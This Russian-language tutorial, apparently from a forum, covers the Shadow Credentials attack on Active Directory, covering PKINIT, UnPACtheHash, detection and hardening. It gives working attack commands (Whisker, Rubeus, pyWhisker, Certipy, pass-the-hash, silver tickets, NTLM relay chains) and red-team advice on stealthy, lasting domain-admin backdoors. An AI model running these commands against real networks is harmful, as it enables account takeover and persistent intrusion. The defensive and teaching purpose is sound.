Время чтения: ~25 минут для полного изучения, ~5 минут для quick reference
Навигация по статье:- Если вы пентестер: начните с "Практическое применение" → "Quick Start Guide"
- Если вы защитник: читайте "Можно ли детектировать" → "Можно ли защититься"
- Если изучаете теорию: читайте последовательно от начала
- Если нужен quick answer: читайте TL;DR ниже
Оглавление
TL;DR (Executive Summary)
- Что это: Shadow Credentials — атака на Active Directory через запись публичного ключа в атрибут
Код:
msDS-KeyCredentialLink
, позволяющая аутентификацию через PKINIT и извлечение NT-хэша.
- Как работает: Атакующий добавляет свой публичный ключ → аутентифицируется через Kerberos PKINIT → получает TGT → через U2U извлекает NT-хэш из PAC.
- Главная опасность: Shadow Credentials НЕ удаляются при смене пароля — это постоянный backdoor до ручной очистки атрибута.
- Ключевой IOC для детектирования: Event 4768 с самоподписанным сертификатом (
Код:
Certificate Issuer = CN=username
) вместо корпоративного CA.
- Как защититься: Deny ACE на изменение msDS-KeyCredentialLink для привилегированных аккаунтов + LDAP Signing + мониторинг Event 5136.
- Актуальность: Полностью работает в 2025 году на Windows Server 2016+.
Prerequisites (что нужно знать)
Для понимания статьи желательно иметь базовые знания в:
- Kerberos протокол (AS-REQ/AS-REP, TGT, TGS) — RFC 4120
- Active Directory структура (объекты, атрибуты, ACL)
- PKI основы (публичный/приватный ключ, сертификаты)
- NTLM аутентификация (NT hash, Pass-the-Hash)
Если начинаете с нуля: Рекомендую изучить
пошаговый гайд от разведки до первого шелла в AD — там подробно разобраны основы работы с Active Directory.
Для углубленного понимания бинарных структур: Если хочешь разобраться в том, как работают KeyCredential на низком уровне и как анализировать подобные структуры, может быть полезен курс по реверс-инжинирингу — там учат работать с бинарными форматами и протоколами.
Привет! Отличный вопрос про Shadow Credentials. Вижу, что ты уже глубоко погрузился в тему. Давай разберем механику атаки пошагово, исправим неточности и добавим детали, которые помогут полностью понять, что происходит "под капотом".
Quick Start Guide
Минимальный путь для тестирования атаки:
☐ Шаг 1: Проверьте prerequisites
Код:
Код:
# Проверьте Domain Functional Level (должен быть 2016+)
Get-ADDomain | Select-Object DomainMode
☐ Шаг 2: Проверьте права на целевой объект
Bash:
Код:
# Linux: используйте BloodHound или ldapsearch
# Windows: используйте PowerView или встроенные AD cmdlets
Get-Acl
"AD:\CN=targetuser,CN=Users,DC=domain,DC=local"
☐ Шаг 3: Выполните атаку (выберите платформу)
Windows (Whisker):
Код:
Код:
# Добавить Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.local /dc:dc01.domain.local
# Output: PFX файл и команда для Rubeus
# Получить TGT + NT hash
Rubeus.exe asktgt /user:targetuser /certificate:BASE64_CERT /password:CERT_PASS /getcredentials
Linux (pyWhisker + PKINITtools):
Bash:
Код:
# Добавить Shadow Credentials
python3 pywhisker.py -d domain.local -u attacker -p password --target targetuser --action
add
# Output: PFX файл
# Получить TGT
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass domain.local/targetuser tgt.ccache
# Записать AS-REP key из вывода!
# Извлечь NT hash
export
KRB5CCNAME
=
tgt.ccache
python3 getnthash.py -key
domain.local/targetuser
☐ Шаг 4: Проверьте успех
Bash:
Код:
# Используйте полученный NT hash для Pass-the-Hash
crackmapexec smb
-u targetuser -H
Common Issues:- "KDC_ERR_PADATA_TYPE_NOSUPP" → DC не поддерживает PKINIT (нужен Server 2016+)
- "Object SID mismatch" → Strong Certificate Mapping enabled (добавьте -sid флаг)
- "Access denied" → Нет прав на запись в msDS-KeyCredentialLink
Что такое Shadow Credentials простыми словами
Shadow Credentials — это атака на Active Directory, которая позволяет получить доступ к учетной записи, если у тебя есть права на изменение атрибута
Код:
msDS-KeyCredentialLink
.
Суть простыми словами: ты добавляешь свой публичный ключ в атрибут учетной записи жертвы, после чего можешь аутентифицироваться от её имени через PKINIT (аутентификация сертификатами в Kerberos) и получить NT-хэш пароля.
КРИТИЧНО: Shadow Credentials остаются активными даже после смены пароля! Это постоянный backdoor до ручной очистки атрибута.
Зачем это нужно злоумышленнику:- Получить доступ к учетной записи без знания пароля
- Сохранить доступ даже после смены пароля (backdoor)
- Извлечь NT-хэш для Pass-the-Hash атак
- Обойти многофакторную аутентификацию
Предварительные требования для атаки
Чтобы атака сработала, нужны следующие условия:
- Domain Functional Level минимум Windows Server 2016
- Хотя бы один контроллер домена с поддержкой PKINIT
- Права на запись в атрибут
Код:
msDS-KeyCredentialLink
целевого объекта
- У KDC должна быть пара ключей для key agreement (обычно есть, если настроен AD CS)
Типичные сценарии получения нужных прав:- GenericWrite или GenericAll на объект пользователя/компьютера
- Членство в группах Key Admins или Enterprise Key Admins
- NTLM relay атака на LDAP для записи атрибута
- Эксплуатация ACL misconfiguration через BloodHound
Пошаговая механика атаки
СОВЕТ: Этот раздел детально разбирает каждый шаг атаки. Если нужен только практический exploit — переходите к "Quick Start Guide" выше.
Шаг 1: Генерация криптографической пары ключей
Атакующий генерирует пару RSA или ECC ключей:
- Приватный ключ — остается у атакующего
- Публичный ключ — будет записан в Active Directory
Инструменты делают это автоматически (Whisker, pyWhisker, Certipy).
Шаг 2: Запись ключа в msDS-KeyCredentialLink
Атакующий записывает структуру KeyCredential (содержащую публичный ключ) в атрибут
Код:
msDS-KeyCredentialLink
целевой учетной записи.
Структура KeyCredential:
KeyCredential — это не просто публичный ключ, а сложная сериализованная структура в формате DNWithBinary:
Код:
Код:
KeyCredential {
DeviceId: GUID — уникальный идентификатор устройства
CreationTime: timestamp — время создания
KeyUsage: NGC (0x8) — флаг использования для Windows Hello
KeyIdentifier: hash публичного ключа
PublicKey: DER-encoded RSA/ECC public key
CustomKeyInfo: дополнительные метаданные (опционально)
}
Что происходит:- Атрибут
Код:
msDS-KeyCredentialLink
может хранить несколько публичных ключей
- Каждое значение — это бинарная сериализованная структура KeyCredential
- KDC находит нужный ключ по KeyIdentifier при PKINIT аутентификации
- Легитимно используется для Windows Hello for Business
Способы записи:- Прямая запись через LDAP (если есть права)
- NTLM relay на LDAP
- Использование скомпрометированной учетной записи с нужными ACL
Шаг 3: AS-REQ с PKINIT Pre-Authentication
Атакующий отправляет AS-REQ (Authentication Service Request) с PKINIT:
Что отправляется:- Principal name целевой учетной записи
- Текущий timestamp, подписанный приватным ключом атакующего
- DH public value (для Diffie-Hellman key exchange)
- Client nonce для защиты от replay-атак
Важно: Это именно подпись timestamp (не шифрование), чтобы доказать владение приватным ключом.
Технические детали PKINIT:
PKINIT поддерживает два режима работы:
- DH-based(Diffie-Hellman) — используется по умолчанию в Windows
- Клиент и KDC обмениваются DH public values
- Создается общий shared secret
- Обеспечивает forward secrecy при ephemeral keys
- RSA-based(Public Key Encryption) — редко используется
- KDC шифрует AS reply key открытым RSA ключом клиента
- Не поддерживает forward secrecy
- Требуется только в legacy сценариях
В контексте Shadow Credentials всегда используется
DH-based режим.
Шаг 4: Проверка KDC
Контроллер домена выполняет проверку:
- Извлекает публичный ключ из
Код:
msDS-KeyCredentialLink
учетной записи
- Проверяет подпись timestamp, используя публичный ключ
- Проверяет актуальность timestamp (защита от replay)
- Если всё ОК — переходит к генерации ответа
Шаг 5: AS-REP — ответ от KDC
[Advanced Deep Dive] Этот раздел содержит детальный разбор криптографии PKINIT. Для практического применения достаточно понимать, что KDC возвращает TGT + session key через DH key agreement.
Здесь была твоя основная ошибка. KDC НЕ шифрует данные открытым ключом атакующего. Вместо этого:
Что действительно происходит:
A. Diffie-Hellman Key Agreement
Клиент и KDC выполняют DH key exchange (RFC 4556):
- Клиент отправил свою DH public value в AS-REQ
- KDC генерирует свою DH key pair и отправляет DH public value в AS-REP
- Обе стороны вычисляют одинаковый DH shared secret
- Из shared secret через KDF (обычно SHA-256) создается AS reply key (симметричный ключ)
Формула создания AS reply key:
Код:
Код:
AS reply key = KDF-SHA256(DHSharedSecret || clientDHNonce || serverDHNonce)
Freshness через nonces (RFC 8070):- Современные имплементации (MIT Kerberos, Windows) по умолчанию используют ephemeral DH keys (генерируются для каждой сессии)
- При использовании static DH keys(повторное использование) обязательно добавляются nonces:
- — если клиент хочет разрешить KDC переиспользовать ключи
- — если KDC переиспользует свою DH пару
- Nonces конкатенируются с DH shared secret при деривации AS reply key
- Это обеспечивает уникальность ключа даже при повторном использовании DH параметров
B. Структура AS-REP
AS-REP содержит две зашифрованные части:
1. TGT (Ticket Granting Ticket):- Зашифрован ключом KRBTGT (клиент его расшифровать НЕ может)
- Содержит PAC (Privilege Attribute Certificate)
- В PAC находится структура
- содержит NT-хэш, зашифрованный AS reply key
Криптографические детали PAC_CREDENTIAL_INFO (MS-PAC):- Encryption Type: обычно AES256-CTS-HMAC-SHA1-96
- Key Usage Number: 16 (KERB_NON_KERB_SALT)
- Это специальный Key Usage для supplemental credentials
- Отличается от стандартных Kerberos ticket encryptions:
- Key Usage 2 = AS-REP ticket (KRBTGT key)
- Key Usage 3 = TGS-REP ticket (service key)
- Key Usage 16 = PAC supplemental credentials (AS reply key)
- Изолирует криптографию NTLM credentials от основного Kerberos потока
2. enc-part (encrypted part):- Зашифрована AS reply key (который был получен через DH)
- Содержит:
- Session key для общения с KDC
- Информацию о времени действия билета
- Nonce для защиты от replay
- Другие параметры аутентификации
Почему NT-хэш включается в PAC?
Это сделано для обратной совместимости с NTLM. Если пользователь аутентифицировался через Kerberos PKINIT, но затем ему нужно подключиться к ресурсу, который поддерживает только NTLM — система может извлечь NT-хэш из PAC.
Шаг 6: Расшифровка клиентом
Атакующий выполняет следующие действия:
- Вычисляет AS reply key через DH (используя свой приватный DH ключ и публичный DH value от KDC)
- Расшифровывает enc-part AS-REP, используя AS reply key
- Извлекает session key для общения с KDC
- Получает TGT (но расшифровать его не может, т.к. он зашифрован ключом KRBTGT)
На этом этапе атакующий имеет:
- Валидный TGT на имя жертвы
- Session key для KDC
- AS reply key
- NT-хэш пока недоступен (он внутри зашифрованного TGT)
Шаг 7: UnPACtheHash — извлечение NT-хэша
[Advanced Deep Dive] Этот раздел объясняет технические детали U2U и извлечения NT hash. Для практики достаточно запустить
или Rubeus с
.
Чтобы получить NT-хэш, атакующий использует технику
UnPACtheHash через
U2U (User-to-User) аутентификацию.
Что такое U2U аутентификация?
U2U — это расширение Kerberos, которое позволяет пользователю запросить service ticket, зашифрованный не ключом сервиса, а session key из TGT.
Изначальная цель U2U:
Сервисы, работающие от имени пользователя (например, файловый шаринг между пользователями), не имеют постоянного ключа. Вместо этого используется временный session key.
Механика UnPACtheHash:
Шаг 7.1: TGS-REQ с U2U
Атакующий отправляет TGS-REQ к самому себе с особыми параметрами:
Код:
Код:
TGS-REQ:
sname (service name) = принципал жертвы (запрос к себе)
ENC-TKT-IN-SKEY = TRUE (флаг U2U аутентификации)
additional-tickets = [TGT жертвы, полученный через PKINIT]
FORWARDABLE = часто тоже установлен
Два варианта U2U для UnPACtheHash:
1. Базовый U2U (без S4U2self):- Запрашивается service ticket для себя
Код:
sname = client principal
(свой же принципал)
- Работает для большинства случаев
- Используется в PKINITtools по умолчанию
2. U2U + S4U2self (продвинутый):- S4U2self — расширение Kerberos для получения service ticket без SPN
- Классический Kerberos требует наличия SPN у сервиса
- S4U2self обходит это требование
- Используется для "SPN-less" версии атаки
- Применяется в некоторых имплементациях Rubeus
На практике: Оба метода работают для извлечения NT-хэша. Выбор зависит от инструмента и конфигурации домена.
Шаг 7.2: TGS-REP от KDC
KDC обрабатывает запрос:
- Извлекает session key из TGT (из поля additional-tickets)
- Копирует PAC из TGT в новый service ticket
- Шифрует service ticket session key из TGT (а не ключом сервиса!)
- Отправляет service ticket атакующему
Шаг 7.3: Расшифровка
Атакующий выполняет:
- Расшифровывает service ticket session key (который ему известен)
- Извлекает PAC из service ticket
- Расшифровывает PAC_CREDENTIAL_INFO используя AS reply key
- Получает NT-хэш жертвы
Почему это работает?
- Service ticket зашифрован известным атакующему ключом (session key)
- PAC копируется из TGT без изменений
- PAC_CREDENTIAL_INFO зашифрован AS reply key, который тоже известен атакующему
- В итоге атакующий может извлечь NT-хэш
Практическое применение
Инструменты для эксплуатации
Windows:
Код:
Код:
# Whisker - добавление Shadow Credentials к целевому пользователю
Whisker.exe add /target:targetUser /domain:domain.local /dc:dc01.domain.local
# Output: Сгенерированный PFX сертификат + команда для Rubeus
# Rubeus - получение TGT + автоматическое извлечение NT hash
Rubeus.exe asktgt /user:targetUser /certificate:cert.pfx /password:certpass /getcredentials
# Output: TGT (base64), NT hash, AS-REP key
Linux:
Bash:
Код:
# pyWhisker - добавление Shadow Credentials
python3 pywhisker.py -d domain.local -u attacker -p password --target targetUser --action
add
# Output: Сгенерированный PFX файл, сохраняется локально
# PKINITtools - получение TGT через PKINIT
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass domain.local/targetUser tgt.ccache
# Output: TGT сохранен в tgt.ccache, AS-REP key выведен в консоль (СОХРАНИТЕ ЕГО!)
# PKINITtools - извлечение NT hash через UnPACtheHash
export
KRB5CCNAME
=
tgt.ccache
python3 getnthash.py -key
domain.local/targetUser
# Output: NT hash целевого пользователя
Certipy (универсальный):
Bash:
Код:
# Всё в одном инструменте - добавить Shadow Credentials + получить TGT + NT hash
certipy shadow auto -username attacker@domain.local -p password -account targetUser
# Output: Автоматически выполняет весь flow и выводит NT hash
СОВЕТ:Certipy auto — самый быстрый способ для тестирования, но для stealth операций используйте ручной workflow с возможностью удаления Shadow Credentials после атаки.
Что делать с полученным NT-хэшем?
После извлечения NT-хэша атакующий может:
Pass-the-Hash:
Bash:
Код:
# Аутентификация без пароля через NT hash
crackmapexec smb target.domain.local -u targetUser -H
evil-winrm -i target.domain.local -u targetUser -H
Silver Ticket:
Bash:
Код:
# Подделка service ticket для конкретного сервиса
impacket-ticketer -nthash
-domain-sid
-domain domain.local -spn cifs/target.domain.local targetUser
Lateral Movement:
Bash:
Код:
# WMI execution
impacket-wmiexec domain.local/targetUser@target -hashes :
# RDP (если включен Restricted Admin mode)
xfreerdp /v:target.domain.local /u:targetUser /pth:
Crack хэш offline:
Bash:
Код:
# Попытка восстановить plaintext пароль
hashcat -m
1000
-a
0
wordlist.txt
Что мы узнали о практике:- Certipy автоматизирует весь процесс для быстрого тестирования
- PKINITtools даёт больше контроля на Linux
- NT hash открывает множество векторов lateral movement
- Всегда сохраняйте AS-REP key — он нужен для UnPACtheHash
Часто задаваемые вопросы
Можно ли детектировать Shadow Credentials?
Да, есть несколько способов детектирования:
1. Мониторинг изменений msDS-KeyCredentialLink- Event ID 5136 (Directory Service Object Modified)
- Event ID 4662 (Operation performed on AD object)
- Мониторинг изменений, где субъект НЕ Azure AD Connect или ADFS
- Подозрительные паттерны:
- Несколько KeyCredentials на одном аккаунте (>1)
- DeviceId не соответствует известным устройствам
- CreationTime совпадает с подозрительной активностью
2. Мониторинг PKINIT аутентификации (КЛЮЧЕВОЙ IOC!)- Event ID 4768 (TGT requested)
- Проверка поля Certificate Issuer Name:
- Легитимный WHfB/Smartcard:
Код:
CN=Corporate-CA, DC=domain, DC=local
(корпоративный CA)
- Shadow Credentials:
(самоподписанный сертификат!)
- Это основной индикатор компрометации
- Особенно подозрительно для аккаунтов, которые обычно не используют PKINIT
3. Мониторинг U2U запросов- Event ID 4769 (TGS requested)
- Флаг ENC-TKT-IN-SKEY установлен
- Requestor и Service Name совпадают
- Много false positives, но в комбинации с PKINIT — сильный сигнал
4. BloodHound detection- Поиск путей с правами WriteProperty на msDS-KeyCredentialLink
- Edge "AddKeyCredentialLink" в графе атак
- Периодический аудит ACL на привилегированные аккаунты
Почему атака называется Shadow Credentials?
Потому что атакующий создает "теневые" альтернативные учетные данные, которые:
- Работают параллельно с основным паролем
- Остаются активными даже после смены пароля
- Сложно обнаружить без специального мониторинга
- Функционируют как backdoor
Дополнительный контекст: На форуме античат есть развёрнутое обсуждение Shadow Credentials с практическими примерами эксплуатации и дискуссией в комментариях — рекомендую изучить для понимания real-world сценариев.
КРИТИЧНО: Проблема персистентности Shadow Credentials
Главная опасность Shadow Credentials — они создают постоянный backdoor:
Что НЕ удаляет Shadow Credentials:- Смена пароля пользователя
- Принудительный logout всех сессий
- Отключение/включение учетной записи
- Истечение срока действия пароля
Что удаляет Shadow Credentials:- Явное удаление KeyCredential из msDS-KeyCredentialLink
Код:
Whisker.exe remove /target:username
- Ручная очистка атрибута через LDAP/ADSI
Реальный сценарий инцидента:- SOC обнаруживает компрометацию аккаунта
- Меняют пароль жертвы → атакующий всё ещё имеет доступ!
- Блокируют аккаунт → атакующий всё ещё может получить TGT!
- Только явная очистка msDS-KeyCredentialLink останавливает атаку
Golden PAC potential:
Если Shadow Credentials добавлены на высоко привилегированный аккаунт (Domain Admin, Enterprise Admin):
- Создается долгосрочный backdoor в домен
- Атакующий может возвращаться месяцами
- Многие организации даже не проверяют этот атрибут при инцидентах
- Стандартные процедуры "сменить пароль" НЕ помогают
Работает ли атака на computer accounts?
Да! Более того, у computer objects есть интересная особенность:
- User objects не могут редактировать свой собственный
Код:
msDS-KeyCredentialLink
- Computer objects МОГУТ редактировать свой
Код:
msDS-KeyCredentialLink
Это позволяет комбинировать Shadow Credentials с
NTLM relay на LDAP:
Сценарий атаки "Relay to Shadow Credentials":- Trigger аутентификацию от контроллера домена DC01 (например, через PrinterBug, PetitPotam)
- NTLM relay на другой контроллер домена DC02
- От имени DC01$ изменить его собственный
Код:
msDS-KeyCredentialLink
- Получить доступ к DC01 через PKINIT
- Извлечь NT-хэш DC01$ через UnPACtheHash
- Использовать DCSync или создать Golden Ticket
Инструменты для этого:- ntlmrelayx.py с флагом
Код:
--shadow-credentials
- pyWhisker может быть интегрирован в relay цепочку
- KrbRelayUp для Windows-based relay
Защита:- LDAP Signing = Required
- LDAP Channel Binding = Always
- Extended Protection for Authentication
В чем разница между AS reply key и session key?
Это два разных ключа:
AS reply key:- Создается через DH key agreement между клиентом и KDC
- Используется для шифрования enc-part в AS-REP
- Используется для шифрования PAC_CREDENTIAL_INFO
- Нужен для расшифровки NT-хэша в UnPACtheHash
Session key (для KDC):- Содержится внутри enc-part AS-REP
- Используется для шифрования коммуникации с KDC
- Используется при запросе TGS (service tickets)
- Используется для шифрования service ticket в U2U
Нужен ли AD CS для Shadow Credentials?
Нет, не обязательно. Есть путаница с двумя техниками:
Shadow Credentials (Key Trust):- НЕ требует AD CS
- Использует raw public keys в msDS-KeyCredentialLink
- Требует только PKINIT на DC (поддерживается с Server 2016)
Certificate Trust:- Требует AD CS
- Использует X.509 сертификаты
- Атаки: ESC1, ESC8, Golden/Diamond certificates
Почему Microsoft не "патчит" Shadow Credentials?
Это частый вопрос, и ответ важен для понимания природы атаки.
Это не баг — это feature misuse!
Почему нельзя просто отключить:
Код:
msDS-KeyCredentialLink
— это легитимная функция для Windows Hello for Business (WHfB)
- WHfB используют миллионы организаций для passwordless authentication
- "Патч" сломал бы WHfB для всех клиентов
- Проблема не в функциональности, а в misconfigured ACLs
Что на самом деле является уязвимостью:- Избыточные права на изменение msDS-KeyCredentialLink
- GenericWrite/GenericAll на user/computer objects без необходимости
- Отсутствие мониторинга изменений критичного атрибута
- Неправильная архитектура ACL в Active Directory
Аналогия:
Это как если бы злоумышленник получил ключи от вашего дома из-за того, что вы дали их слишком многим людям. Проблема не в замке (msDS-KeyCredentialLink), а в том, кому вы дали ключи (ACL permissions).
Что делает Microsoft:- Windows Server 2022+ — улучшенный аудит изменений msDS-KeyCredentialLink
- Defender for Identity — детектирует подозрительные PKINIT
- Документация по hardening ACLs
- KB5005413 — улучшения защиты от NTLM relay на LDAP (частично закрывает relay вектор)
Будущие улучшения (ожидаемые):- Обязательный Device Health Attestation для WHfB
- Автоматический мониторинг самоподписанных сертификатов в PKINIT
- Built-in защита от NTLM relay на LDAP по умолчанию
- Более строгие default ACLs на msDS-KeyCredentialLink
Вывод: Shadow Credentials — это не уязвимость в коде, а атака на неправильно настроенную инфраструктуру. Решение — правильная конфигурация, а не патч.
Есть ли альтернативные векторы, если прямая запись заблокирована?
Да! Даже при правильно настроенных ACL существуют обходные пути:
1. NTLM Relay to LDAP (если signing отключен):
Код:
Код:
Цепочка атаки:
PetitPotam/PrinterBug → NTLM Relay → LDAP → Shadow Credentials
- Принудительная аутентификация от privileged machine
- Relay NTLM credentials на LDAP
- Использование ntlmrelayx с флагом --shadow-credentials
- Защита: LDAP Signing + Channel Binding
2. Computer Account Takeover:- Computer accounts могут изменять свой собственный msDS-KeyCredentialLink
- Получить контроль над любым computer account
- Добавить Shadow Credentials на этот computer account
- Escalate через Resource-Based Constrained Delegation (RBCD)
3. ACL Poisoning (временное изменение):
Код:
Код:
Если есть WriteDACL право:
1. Временно дать себе WriteProperty на msDS-KeyCredentialLink
2. Добавить Shadow Credentials
3. Восстановить исходный ACL (для stealth)
4. Использовать Shadow Credentials для доступа
4. Coerced Authentication Chains:
Код:
Код:
Сложная цепочка:
1. Coerce authentication от DC (PrinterBug/PetitPotam/DFSCoerce)
2. Relay на другой DC через LDAP
3. Изменить msDS-KeyCredentialLink первого DC
4. Получить доступ к DC через PKINIT
5. DCSync или создание Golden Ticket
5. Exploitation через Third-Party Tools:- Misconfigured management tools с избыточными правами
- Service accounts с GenericAll через плохие делегации
- Automation scripts с hardcoded credentials
Защита от альтернативных векторов:- Мониторинг всех изменений msDS-KeyCredentialLink (не только прямых)
- LDAP signing/channel binding для защиты от relay
- Мониторинг coerced authentication patterns
- Regular ACL audits с BloodHound
- Principle of least privilege для всех аккаунтов
Можно ли защититься от атаки?
Да, есть несколько уровней защиты:
1. Управление ACL (первая линия защиты):- Регулярный аудит прав на изменение msDS-KeyCredentialLink
- Удаление избыточных GenericWrite/GenericAll
- Использование BloodHound для поиска путей атаки
2. Deny ACE (рекомендуется для критичных аккаунтов):
Код:
Код:
Явный DENY для EVERYONE на изменение msDS-KeyCredentialLink
для всех аккаунтов, которые НЕ используют Windows Hello for Business
Пример PowerShell:
Код:
Код:
$user = Get-ADUser "Administrator"
$acl = Get-Acl "AD:\$($user.DistinguishedName)"
$sid = [System.Security.Principal.SecurityIdentifier]"S-1-1-0" # EVERYONE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
$sid,
[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
[System.Security.AccessControl.AccessControlType]::Deny,
[Guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063" # msDS-KeyCredentialLink
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$($user.DistinguishedName)" $acl
3. Network-level защита (против relay атак):- LDAP Signing = Required (блокирует NTLM relay на LDAP)
- LDAP Channel Binding = Always (привязка к TLS session)
- SMB Signing = Required (общая защита от relay)
- Extended Protection for Authentication (EPA)
4. Мониторинг:- Настройка SACL на критичные объекты
- Алерты на изменение msDS-KeyCredentialLink
- Мониторинг самоподписанных сертификатов в PKINIT (Certificate Issuer = CN=username)
- Correlation: PKINIT + U2U от одного аккаунта в короткий промежуток времени
5. Быстрая реакция на инцидент:
При обнаружении Shadow Credentials:
- Немедленно очистить атрибут msDS-KeyCredentialLink
Код:
Код:
Set-ADUser username -Clear msDS-KeyCredentialLink
- Сменить пароль скомпрометированного аккаунта (но помни: Shadow Creds переживут смену!)
- Форсировать выход всех сессий (klist purge, revoke refresh tokens)
- Провести расследование источника компрометации
- Проверить все privileged аккаунты на наличие Shadow Credentials
- Проверить Domain Controllers на наличие Shadow Credentials
6. Проактивный аудит:
Код:
Код:
# Проверка всех аккаунтов на наличие msDS-KeyCredentialLink
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
Where-Object {$_.msDS-KeyCredentialLink} |
Select-Object Name, SamAccountName, Enabled
Выводы
Твой изначальный разбор
Ты правильно понял общую концепцию атаки, но была критическая ошибка в понимании криптографии PKINIT:
Неверно: KDC шифрует данные открытым ключом атакующего
Верно: KDC и клиент используют Diffie-Hellman для создания общего симметричного AS reply key
Ключевые технические моменты для запоминания
1. Криптография PKINIT:- DH-based режим (по умолчанию) использует Diffie-Hellman key agreement
- AS reply key = KDF(DHSharedSecret || clientDHNonce || serverDHNonce)
- Ephemeral DH keys для forward secrecy в современных имплементациях
- RSA-based режим существует, но редко используется
2. Структура данных:- KeyCredential — сложная структура (DeviceId, KeyUsage, PublicKey, etc.)
- PAC_CREDENTIAL_INFO зашифрован AS reply key с Key Usage 16
- Key Usage 16 (KERB_NON_KERB_SALT) специально для supplemental credentials
3. UnPACtheHash механика:- U2U аутентификация через флаг ENC-TKT-IN-SKEY
- Service ticket зашифрован известным session key
- PAC_CREDENTIAL_INFO расшифровывается AS reply key
- Опционально: S4U2self для SPN-less варианта
4. Детектирование:- Certificate Issuer Name в Event 4768 — ключевой IOC
- Самоподписанный сертификат (CN=username) vs корпоративный CA
- Correlation: PKINIT + U2U за короткое время
- Множественные KeyCredentials на аккаунте
5. Персистентность:- Shadow Credentials НЕ удаляются при смене пароля
- Требуется явная очистка msDS-KeyCredentialLink
- Создают долгосрочный backdoor
- Особенно опасны на privileged accounts
6. Защита:- Это feature misuse, не баг — Microsoft не будет "патчить"
- Решение: правильные ACLs + мониторинг + LDAP hardening
- LDAP Signing/Channel Binding блокируют relay вектор
- Deny ACE на msDS-KeyCredentialLink для критичных аккаунтов
7. Альтернативные векторы:- NTLM relay to LDAP (если signing отключен)
- Computer account self-modification
- ACL poisoning через WriteDACL
- Coerced authentication chains
Что мы узнали о криптографии и механике:- PKINIT использует DH key agreement (не асимметричное шифрование!)
- AS reply key = KDF(DHSharedSecret || nonces)
- PAC_CREDENTIAL_INFO зашифрован AS reply key с Key Usage 16
- UnPACtheHash работает через U2U + известные ключи сессии
- KeyCredential — сложная структура с DeviceId, KeyUsage, PublicKey
Заключительный чеклист для практиков
Для Red Team / Pentesters:
☐ Pre-engagement:- Проверьте Domain Functional Level (2016+ required)
- Запустите BloodHound для поиска WriteProperty на msDS-KeyCredentialLink
- Проверьте, используется ли PKINIT в целевой сети (stealth consideration)
- Изучите современные техники для красных команд в 2025 для комплексного подхода к AD пентесту
☐ Execution:- Используйте Certipy
для быстрого тестирования
- Для stealth: используйте ручной workflow с удалением Shadow Credentials после
- Сохраните AS-REP key — он нужен для UnPACtheHash
- Документируйте все изменения для cleanup
☐ Post-exploitation:- Используйте NT hash для lateral movement
- Рассмотрите добавление Shadow Credentials на computer accounts для persistence
- Если цель — Domain Admin, добавьте Shadow Credentials для Golden PAC persistence
☐ Cleanup:- Удалите все добавленные KeyCredentials:
или
Код:
pywhisker --action remove
- Проверьте, что атрибут очищен:
Код:
Get-ADUser target -Properties msDS-KeyCredentialLink
Для Blue Team / Defenders:
☐ Prevention:- Примените Deny ACE на msDS-KeyCredentialLink для всех Domain/Enterprise Admins
- Включите LDAP Signing = Required на всех DC
- Включите LDAP Channel Binding (LdapEnforceChannelBinding = 2)
- Регулярно аудируйте ACL на критичные аккаунты через BloodHound
- Изучите типичные векторы взлома AD и современные меры защиты для комплексного подхода к hardening
☐ Detection:- Настройте SACL для аудита msDS-KeyCredentialLink (GUID: 5b47d60f-6090-40b2-9f37-2a4de88f3063)
- Создайте алерт на Event 4768 с самоподписанным сертификатом (Certificate Issuer = CN=username)
- Создайте correlation rule: PKINIT + U2U в течение 5 минут
- Мониторьте Event 5136 для изменений msDS-KeyCredentialLink
☐ Response:- Добавьте в Incident Response Playbook проверку msDS-KeyCredentialLink
- При инциденте СНАЧАЛА очистите атрибут, ПОТОМ меняйте пароль
- Проверьте все privileged аккаунты на наличие Shadow Credentials
- Проверьте Domain Controllers (computer accounts могут иметь Shadow Credentials)
☐ Regular Audits:- Еженедельный запуск скрипта аудита msDS-KeyCredentialLink
- Проверка DeviceID на соответствие известным устройствам
- Review Event 4768/5136 logs на аномалии
Дополнительное чтение
Если хочешь углубиться:
Оригинальные исследования:- Shadow Credentials - Elad Shamir (SpecterOps, 2021) — оригинальная публикация об атаке
- Certified Pre-Owned - Will Schroeder & Lee Christensen (SpecterOps, 2021) — AD CS атаки, контекст для Shadow Credentials
- Michael Grafnetter - Black Hat Europe 2019 — Windows Hello for Business и msDS-KeyCredentialLink
Технические спецификации:- RFC 4556 — PKINIT — Public Key Cryptography for Initial Authentication in Kerberos
- RFC 8070 — PKINIT Freshness Extension — Freshness через nonces
- MS-PAC — Microsoft PAC structure — Privilege Attribute Certificate спецификация
- MS-KILE — Kerberos Protocol Extensions — Microsoft Kerberos имплементация
Инструменты:- Whisker (C#) — оригинальный инструмент от Elad Shamir
- pyWhisker (Python) — Python порт для Linux
- PKINITtools — PKINIT и UnPACtheHash для Linux
- Certipy — комплексный инструмент для AD CS + Shadow Credentials
- Rubeus — Kerberos атаки для Windows
Защита и детектирование:- TrustedSec - DACL-based Detections — детектирование через SACL
- Black Hills InfoSec - Enable Auditing of msDS-KeyCredentialLink — настройка аудита
- DSInternals - Shadow Credentials IoC — индикаторы компрометации в Impacket
Связанные атаки в экосистеме AD:
PKINIT-based атаки:- Pass-the-Certificate — использование украденных сертификатов для аутентификации
- Golden/Diamond Certificates — подделка сертификатов с использованием CA ключей
- UnPAC the Hash — извлечение NT hash через U2U (часть Shadow Credentials)
AD CS атаки (требуют Certificate Services):- ESC1-ESC14 — различные misconfiguration в Certificate Templates
- ESC8 — NTLM Relay to AD CS HTTP endpoints
- Certifried (CVE-2022-26923) — Computer Account Takeover через dNSHostName
Kerberos делегации:- Unconstrained Delegation — кража TGT
- Constrained Delegation — S4U2Proxy abuse
- Resource-Based Constrained Delegation (RBCD) — модификация msDS-AllowedToActOnBehalfOfOtherIdentity
Ticket forging:- Golden Ticket — подделка TGT через ключ KRBTGT
- Silver Ticket — подделка service ticket через service key
- Diamond Ticket — модификация легитимного TGT
- Sapphire Ticket — копирование PAC из service ticket в forged TGT
Почему важно понимать всю картину:
Shadow Credentials — это часть более широкой экосистемы атак на Kerberos и PKI. Атакующие часто комбинируют техники:
